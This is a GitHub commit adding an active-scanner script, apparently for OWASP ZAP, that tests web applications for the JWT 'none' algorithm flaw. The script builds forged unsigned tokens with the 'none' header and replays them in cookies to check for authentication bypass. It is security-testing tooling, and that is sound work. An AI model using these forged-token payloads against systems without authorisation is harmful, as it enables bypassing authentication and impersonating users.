Skip to content

Commit dae463e

Browse files
William Gardnerthc202
authored andcommitted
Added active scanner for the JWT "None" Exploit (#161)
Read more about the exploit here: https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/
1 parent d0582ac commit dae463e

File tree

1 file changed

+136
-0
lines changed

1 file changed

+136
-0
lines changed

active/JWT None Exploit.js

Lines changed: 136 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,136 @@
1+
// ECMA Script uses the Oracle Nashorn engine, therefore all standard library comes from Java
2+
// https://docs.oracle.com/javase/8/docs/technotes/guides/scripting/prog_guide/javascript.html
3+
var Cookie = Java.type("java.net.HttpCookie")
4+
var Base64 = Java.type("java.util.Base64")
5+
var String = Java.type("java.lang.String")
6+
7+
// Exploit information, used for raising alerts
8+
var RISK = 3
9+
var CONFIDENCE = 2
10+
var TITLE = "JWT None Exploit"
11+
var DESCRIPTION = "The application's JWT implementation allows for the usage of the 'none' algorithm, which bypasses the JWT hash verification."
12+
var SOLUTION = "Use a secure JWT library, and (if your library supports it) restrict the allowed hash algorithms."
13+
var REFERENCE = "https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/"
14+
var CWEID = 347 // CWE-347: Improper Verification of Cryptographic Signature
15+
var WASCID = 15 // WASC-15: Application Misconfiguration
16+
17+
function b64encode(string) {
18+
// Terminate the string with a null byte prior to encoding. I suspect that
19+
// this is required because the string being created as a JavaScript string
20+
// and then handled like a java.lang.String object. When the null byte isn't
21+
// present the Base64 encode call returns the decoded string, along with
22+
// additional garbage characters.
23+
var message = (string + "\0").getBytes()
24+
var bytes = Base64.getEncoder().encode(message)
25+
return new String(bytes)
26+
}
27+
28+
function b64decode(string) {
29+
var message = string.getBytes()
30+
var bytes = Base64.getDecoder().decode(message)
31+
return new String(bytes)
32+
}
33+
34+
// Detects if a given string may be a valid JWT
35+
function is_jwt(content) {
36+
var separated = content.split(".")
37+
38+
if (separated.length != 3) return false
39+
40+
try {
41+
b64decode(separated[0])
42+
b64decode(separated[1])
43+
}
44+
catch (err) {
45+
return false
46+
}
47+
48+
return true
49+
}
50+
51+
function build_payloads(jwt) {
52+
// Build header specifying use of the none algorithm
53+
var header = b64encode('{"alg":"none","typ":"JWT"}')
54+
var separated = jwt.split(".")
55+
56+
// Try a series of different JWT formats
57+
return [
58+
header + "." + separated[1] + ".", // no hash
59+
header + "." + separated[1] + "." + separated[2], // original (but incorrect) hash
60+
header + "." + separated[1] + ".\\(•_•)/", // junk hash
61+
header + "." + separated[1] + ".XCjigKJf4oCiKS8=", // junk (but b64 encoded) hash
62+
separated[0] + "." + separated[1] + "." // old header but no hash
63+
]
64+
}
65+
66+
// This method is called for every node on the site
67+
// ActiveScan as, HttpMessage msg
68+
function scanNode(as, msg) {
69+
print("Scanning " + msg.getRequestHeader().getURI().toString())
70+
71+
// Extract request cookies and detect if using JWT
72+
var cookies = msg.getRequestHeader().getHttpCookies()
73+
var jwt_cookies = []
74+
for (var i = 0; i < cookies.length; i++) {
75+
var cookie = cookies[i]
76+
if (is_jwt(cookie.getValue()))
77+
jwt_cookies.push(cookie)
78+
}
79+
80+
// If no cookie found: skip, if cookie(s) found, use the first
81+
if (jwt_cookies.length == 0)
82+
return
83+
if (jwt_cookies.length > 1)
84+
print("Multiple cookies using JWT found but not yet supported, only first will be used for testing")
85+
86+
// Default to the first cookie found that uses JWT
87+
var target_cookie = jwt_cookies[0]
88+
89+
// Send a safe request (with original cookie) to see what a correct response looks like
90+
var msg_safe = msg.cloneRequest()
91+
msg_safe.setCookies([target_cookie])
92+
as.sendAndReceive(msg_safe)
93+
94+
// Send a completely mangled request to see if the page actually looks at the cookie
95+
var msg_bad = msg.cloneRequest()
96+
msg_bad.setCookies([new Cookie(target_cookie.getName(), "!@#$%^&*()")])
97+
as.sendAndReceive(msg_bad)
98+
99+
var safe_body = msg_safe.getResponseBody()
100+
var bad_body = msg_bad.getResponseBody()
101+
102+
// If the mangled cookie gives the same response as the correct cookie, we can assume
103+
// that the page does not care what we send in that field and that there is not an exploit
104+
if (safe_body.equals(bad_body))
105+
return
106+
107+
var payloads = build_payloads(target_cookie.getValue())
108+
109+
for (var i = 0; i < payloads.length; i++) {
110+
var payload = payloads[i]
111+
var cookie_payload = new Cookie(target_cookie.getName(), payload)
112+
var msg_loaded = msg.cloneRequest()
113+
114+
msg_loaded.setCookies([cookie_payload])
115+
as.sendAndReceive(msg_loaded)
116+
117+
var loaded_body = msg_loaded.getResponseBody()
118+
119+
// If the body of the request sent with the none algorithm is the same as the body of the request
120+
// sent with the default algorithm, we know that the server is parsing the JWT instead of throwing
121+
// some form of server error. We can assume (in this case) that the server is parsing the none
122+
// algorithm and ignoring the hash--which is a vulnerability.
123+
if (loaded_body.equals(safe_body))
124+
raise_alert(msg_loaded, target_cookie, payload, as)
125+
}
126+
}
127+
128+
function raise_alert(msg, cookie, payload, as) {
129+
print("Vulnerability found, sending alert")
130+
as.raiseAlert(
131+
RISK, CONFIDENCE, TITLE, DESCRIPTION,
132+
msg.getRequestHeader().getURI().toString(), "", "", "", SOLUTION,
133+
"Cookie: " + cookie.getName() + "=" + payload, REFERENCE,
134+
CWEID, WASCID, msg
135+
)
136+
}

0 commit comments

Comments
 (0)